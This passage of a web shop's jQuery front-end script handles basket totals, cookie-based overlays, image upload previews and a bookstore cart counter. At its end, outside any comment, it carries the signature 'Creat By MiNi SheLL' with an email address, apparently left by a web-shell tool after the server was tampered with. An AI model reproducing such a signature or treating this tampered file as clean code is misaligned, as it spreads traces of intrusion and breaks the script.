        orphan: false,
        duration: false,
        delay: false,
        basePath: "",
        template: template
        });
        tour.init();
        tour.restart()
        tour.start();
        return false;
    });
//});/**/


/*basket*/

$(document).on('click', '.basket-plus', function(e) {
    var quantityinput = $(this).closest('.basket').find('.basket-quantity'),
        quantity = parseInt(quantityinput.val());
    quantityinput.val(quantity+1);
    basketrefresh();
    return false;
});
$(document).on('click', '.basket-minus', function(e) {
    var quantityinput = $(this).closest('.basket').find('.basket-quantity'),
        quantity = parseInt(quantityinput.val());
    if(quantity){
        quantityinput.val(quantity-1);
        basketrefresh();
    };
    return false;
});

function basketrefresh(){
    var basketsummary = 0;
    $.each($('.basket'),function(){
        var quantityinput = $(this).find('.basket-quantity'),
            quantity = parseInt(quantityinput.val()),
            basketprice = parseFloat($(this).find('.basket-price').text().replace(",","."));
        basketsummary=basketsummary+(quantity*basketprice);
    });
    $('#basket-summary').text(basketsummary.toFixed(2).replace(".",","));
};

$(document).ready(function(){
    basketrefresh();
});

$(document).on('click', '[data-print]', function() {
    var element = $(this).data("print");
    $('#'+element).print({
        globalStyles: false,
        stylesheet: '/css/print.css',
        noPrintSelector: ".noprint",        
    });
    return false;
});

$(document).on('click', 'a.empty', function() {
    return false;
});

/*toplayer data-close & data-timeout & cookie*/
$(document).on('click', '[data-close]', function() {
    var element = $(this).data('close');
    $('#'+element).toggleClass('close');
    setCookie(element, true, 1); /*1 day cookie*/
    return false;
});
$.each($('[data-timeout]'),function(){
    var that = $(this),
        element = that.attr('id'),
        timeout = that.data('timeout');
        setTimeout(function(){that.addClass('close');setCookie(element, true, 1);},timeout);    
});
if(!getCookie("toplayer")){ $('#toplayer').removeClass('close'); };
if(!getCookie("flyfooter")){ $('#flyfooter').removeClass('close'); };
if(!getCookie("scroller")){ $('#scroller').removeClass('close'); };

function setCookie(cname, cvalue, exdays) {
    var d = new Date();
    d.setTime(d.getTime() + (exdays*24*60*60*1000));
    var expires = "expires="+ d.toUTCString();
    document.cookie = cname + "=" + cvalue + ";" + expires + ";path=/";
}
function getCookie(cname) {
    var name = cname + "=";
    var decodedCookie = decodeURIComponent(document.cookie);
    var ca = decodedCookie.split(';');
    for(var i = 0; i <ca.length; i++) {
        var c = ca[i];
        while (c.charAt(0) == ' ') {
            c = c.substring(1);
        }
        if (c.indexOf(name) == 0) {
            return c.substring(name.length, c.length);
        }
    }
    return "";
}

/*one-file-input*/
$('.one-file-input input[type="file"]').on('change',function(){
    var that = $(this),
        file = this.files[0];
    if (file.type.match(/image*/)){
        var reader  = new FileReader();
        reader.readAsDataURL(file);
        reader.onloadend = function () {
            that.parents('.one-file-input').find('.img-thumbnail').css('background-image', 'url(' + reader.result + ')');
            that.parents('.one-file-input').find('.btn-primary').addClass('hide');
            that.parents('.one-file-input').find('.btn-danger').removeClass('hide');
        };			
    };		
});
$('.one-file-input .btn-danger').on('click',function(){
   $(this).parents('.one-file-input').find('.img-thumbnail').css('background-image', 'url()');
   $(this).parents('.one-file-input').find('input[type="file"]').val('');
   $(this).parents('.one-file-input').find('.btn-primary').removeClass('hide');
   $(this).addClass('hide');
   return false;
});

/*newsletter*/
$('#newsletter').on('shown.bs.modal',function(){
  $('#newslettersignupform-email').val($('#newsletter-email').val());
});

/*koszyk*/
/**/
    $(document).ready(function(){
    
        vmanager.bookstoreManager.getInstance().loadData();
        
    });
/**/    
    $("body").on("vmanager:refreshBookstoreShippingCart", function(event, status, data) {
        console.log(data);

        var counter = data.items.length + data.items_subscriptions.length;
        console.log(counter);
        if(counter){
            $(".basketcounter").text(counter);
        }else{
            $(".basketcounter").text($(this).data("def"));
        };
    
    });
 /**/

Creat By MiNi SheLL
Email: jattceo@gmail.com